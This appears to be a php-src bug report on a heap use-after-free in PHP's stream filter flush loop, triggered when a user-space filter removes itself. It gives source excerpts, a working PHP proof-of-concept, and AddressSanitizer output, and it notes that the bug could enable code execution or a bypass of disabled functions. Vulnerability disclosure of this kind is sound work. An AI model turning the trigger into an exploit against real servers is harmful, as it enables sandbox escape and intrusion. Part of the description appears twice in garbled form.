Description
Summary
_php_stream_filter_flush() iterates a linked list of stream filters without saving current->next before invoking each filter's callback. For PHP user-space filters, the callback dispatches into userfilter_filter() which calls the PHP class's filter() method. From inside that method the user can call stream_filter_remove() on the currently-executing filter, which calls php_stream_filter_remove(filter, true) -> php_stream_filter_free(filter), freeing the php_stream_filter struct while the C iteration is still live.
Two separate UAF access points result:
-
user_filters.c:241: obj = &thisfilter->abstract is set before the callback. After php_stream_filter_free(thisfilter) frees the struct, obj is dangling. If the filter class declares a $stream property, stream_name is non-NULL and Z_OBJCE_P(obj) / Z_OBJ_P(obj) at line 241 read from the freed struct. This fires regardless of the return value from the PHP filter() method.
-
filter.c:420: After userfilter_filter() returns, the loop update current = current->next reads next from the freed thisfilter struct. This fires when the PHP filter() method returns PSFS_PASS_ON (2); PSFS_FEED_ME (1) and PSFS_ERR_FATAL (0) both return before the loop update.
Vulnerable Source Code
// main/streams/filter.c:402-440 -- flush loop, no next-pointer save
PHPAPI zend_result _php_stream_filter_flush(php_stream_filter *filter, bool finish)
{
...
for(current = filter; current; current = current->next) { // line 420
status = current->fops->filter(stream, current, // line 423
inp, outp, NULL, flags);
if (status == PSFS_FEED_ME) { return SUCCESS; } // exits before UAF #2
if (status == PSFS_ERR_FATAL) { return FAILURE; } // exits before UAF #2
...
} // loop update: current = current->next <- UAF #2 if PSFS_PASS_ON returned
}
// ext/standard/user_filters.c:164-254 -- PHP callback dispatch
static php_stream_filter_status_t userfilter_filter(
php_stream *stream, php_stream_filter *thisfilter, ...)
{
int ret = PSFS_ERR_FATAL;
zval *obj = &thisfilter->abstract; // line 174: pointer into filter struct
call_user_function(NULL, obj, &func_name, // line 212: PHP runs
&retval, 4, args);
// PHP may call stream_filter_remove() -> php_stream_filter_free(thisfilter)
// thisfilter struct is NOW FREED; obj is dangling
if (stream_name != NULL) { // line 241: if $stream property exists
zend_update_property_null(
Z_OBJCE_P(obj), // UAF READ #1 from freed struct
Z_OBJ_P(obj), ...);
}
return ret;
}
// main/streams/filter.c:487-508 -- php_stream_filter_remove frees the struct
PHPAPI php_stream_filter *php_stream_filter_remove(php_stream_filter *filter, bool call_dtor)
{
if (filter->prev) filter->prev->next = filter->next; // unlink
else filter->chain->head = filter->next;
if (filter->next) filter->next->prev = filter->prev;
else filter->chain->tail = filter->prev;
if (filter->res) zend_list_delete(filter->res);
if (call_dtor) {
php_stream_filter_free(filter); // struct freed here
return NULL;
}
return filter;
}
How to Trigger
<?php
class UAFFilter extends php_user_filter {
public $stream;
private static bool $removed = false;
public function filter($in, $out, &$consumed, $closing): int {
if (!self::$removed) {
self::$removed = true;
stream_filter_remove($GLOBALS['filter_res']);
}
return PSFS_PASS_ON;
}
}
stream_filter_register('uaf', 'UAFFilter');
$f = fopen('php://memory', 'r+');
$GLOBALS['filter_res'] = stream_filter_append($f, 'uaf', STREAM_FILTER_WRITE);
fwrite($f, 'hello');
Command:
USE_ZEND_ALLOC=0 sapi/cli/php ../../Results/Findings/f6/poc.php
Output:
Warning: fwrite(): Unprocessed filter buckets remaining on input brigade in /Users/terrence/Documents/Research/Targets/PHP/Results/Findings/f6/poc.php on line 19
=================================================================
==30105==ERROR: AddressSanitizer: heap-use-after-free on address 0x607000027548 at pc 0x000106134d78 bp 0x00016aed8010 sp 0x00016aed8008
READ of size 8 at 0x607000027548 thread T0
#0 0x000106134d74 in userfilter_filter user_filters.c:242
#1 0x0001062d2e78 in _php_stream_write_filtered streams.c:1239
#2 0x0001062d08dc in _php_stream_write streams.c:1326
#3 0x000105f9b7e0 in zif_fwrite file.c:997
#4 0x0001069b6d24 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:54091
#5 0x00010664fa9c in execute_ex zend_vm_execute.h:110168
#6 0x000106650430 in zend_execute zend_vm_execute.h:115586
#7 0x000106c70b44 in zend_execute_script zend.c:1971
#8 0x00010625f658 in php_execute_script_ex main.c:2646
#9 0x00010625fbc0 in php_execute_script main.c:2686
#10 0x000106c774b8 in do_cli php_cli.c:947
#11 0x000106c75904 in main php_cli.c:1370
#12 0x00018dd6bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)
0x607000027548 is located 8 bytes inside of 80-byte region [0x607000027540,0x607000027590)
freed by thread T0 here:
#0 0x000109f0d258 in free+0x7c (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x41258)
#1 0x0001064d3664 in __zend_free zend_alloc.c:3571
#2 0x0001064d737c in _efree zend_alloc.c:2788
#3 0x0001062b39d8 in php_stream_filter_free filter.c:281
#4 0x0001062b6078 in php_stream_filter_remove filter.c:505
#5 0x0001060ab648 in zif_stream_filter_remove streamsfuncs.c:1313
#6 0x0001069b6d24 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:54091
#7 0x00010664fa9c in execute_ex zend_vm_execute.h:110168
#8 0x000106629524 in zend_call_function zend_execute_API.c:1016
#9 0x000106626d6c in _call_user_function_impl zend_execute_API.c:800
#10 0x000106134c20 in userfilter_filter user_filters.c:212
#11 0x0001062d2e78 in _php_stream_write_filtered streams.c:1239
#12 0x0001062d08dc in _php_stream_write streams.c:1326
#13 0x000105f9b7e0 in zif_fwrite file.c:997
#14 0x0001069b6d24 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:54091
#15 0x00010664fa9c in execute_ex zend_vm_execute.h:110168
#16 0x000106650430 in zend_execute zend_vm_execute.h:115586
#17 0x000106c70b44 in zend_execute_script zend.c:1971
#18 0x00010625f658 in php_execute_script_ex main.c:2646
#19 0x00010625fbc0 in php_execute_script main.c:2686
#20 0x000106c774b8 in do_cli php_cli.c:947
#21 0x000106c75904 in main php_cli.c:1370
#22 0x00018dd6bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)
previously allocated by thread T0 here:
#0 0x000109f0d164 in malloc+0x78 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x41164)
#1 0x0001064d7998 in __zend_malloc zend_alloc.c:3543
#2 0x0001064d7250 in _emalloc zend_alloc.c:2778
#3 0x0001062b369c in _php_stream_filter_alloc filter.c:266
#4 0x000106133c60 in user_filter_factory_create user_filters.c:386
#5 0x0001062b31cc in php_stream_filter_create filter.c:228
#6 0x0001060aabb8 in apply_filter_to_stream streamsfuncs.c:1252
#7 0x0001060ab050 in zif_stream_filter_append streamsfuncs.c:1288
#8 0x0001069b78cc in ZEND_DO_ICALL_SPEC_RETVAL_USED_TAILCALL_HANDLER zend_vm_execute.h:54161
#9 0x00010664fa9c in execute_ex zend_vm_execute.h:110168
#10 0x000106650430 in zend_execute zend_vm_execute.h:115586
#11 0x000106c70b44 in zend_execute_script zend.c:1971
#12 0x00010625f658 in php_execute_script_ex main.c:2646
#13 0x00010625fbc0 in php_execute_script main.c:2686
#14 0x000106c774b8 in do_cli php_cli.c:947
#15 0x000106c75904 in main php_cli.c:1370
#16 0x00018dd6bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)
SUMMARY: AddressSanitizer: heap-use-after-free user_filters.c:242 in userfilter_filter
Shadow bytes around the buggy address:
0x607000027280: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fa fa
0x607000027300: fa fa 00 00 00 00 00 00 00 00 00 03 fa fa fa fa
0x607000027380: 00 00 00 00 00 00 00 00 00 00 fa fa fa fa 00 00
0x607000027400: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00 00 00
0x607000027480: 00 00 00 00 00 00 fa fa fa fa fd fd fd fd fd fd
=>0x607000027500: fd fd fd fd fa fa fa fa fd[fd]fd fd fd fd fd fd
0x607000027580: fd fd fa fa fa fa fd fd fd fd fd fd fd fd fd fd
0x607000027600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x607000027680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x607000027700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x607000027780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==30105==ABORTING
[1] 30105 abort USE_ZEND_ALLOC=0 sapi/cli/php ../../Results/Findings/f6/poc.php
Note: Even though this could be used to execute arbitrary code or bypass disabled functions, GHSA-fj3x-x2xf-vj4g is not part of PHP's threat model (which is wrong, but that's not my call).
"Hey, this is not a security issue. You have to write carefully crafted code to trigger this.
Please re-open this as a normal bug."
PHP Version
PHP 8.6.0-dev (cli) (built: May 16 2026 16:38:50) (NTS DEBUG)
Copyright © The PHP Group and Contributors
Zend Engine v4.6.0-dev, Copyright © Zend by Perforce
with Zend OPcache v8.6.0-dev, Copyright ©, by Zend by Perforce
Operating System
No response
Description
Summary
_php_stream_filter_flush()iterates a linked list of stream filters without savingcurrent->nextbefore invoking each filter's callback. For PHP user-space filters, the callback dispatches intouserfilter_filter()which calls the PHP class'sfilter()method. From inside that method the user can callstream_filter_remove()on the currently-executing filter, which callsphp_stream_filter_remove(filter, true)->php_stream_filter_free(filter), freeing thephp_stream_filterstruct while the C iteration is still live.Two separate UAF access points result:
user_filters.c:241:obj = &thisfilter->abstractis set before the callback. Afterphp_stream_filter_free(thisfilter)frees the struct,objis dangling. If the filter class declares a$streamproperty,stream_nameis non-NULL andZ_OBJCE_P(obj)/Z_OBJ_P(obj)at line 241 read from the freed struct. This fires regardless of the return value from the PHPfilter()method.filter.c:420: Afteruserfilter_filter()returns, the loop updatecurrent = current->nextreadsnextfrom the freedthisfilterstruct. This fires when the PHPfilter()method returnsPSFS_PASS_ON(2);PSFS_FEED_ME(1) andPSFS_ERR_FATAL(0) both return before the loop update.Vulnerable Source Code
How to Trigger
Command:
Output:
PHP Version
Operating System
No response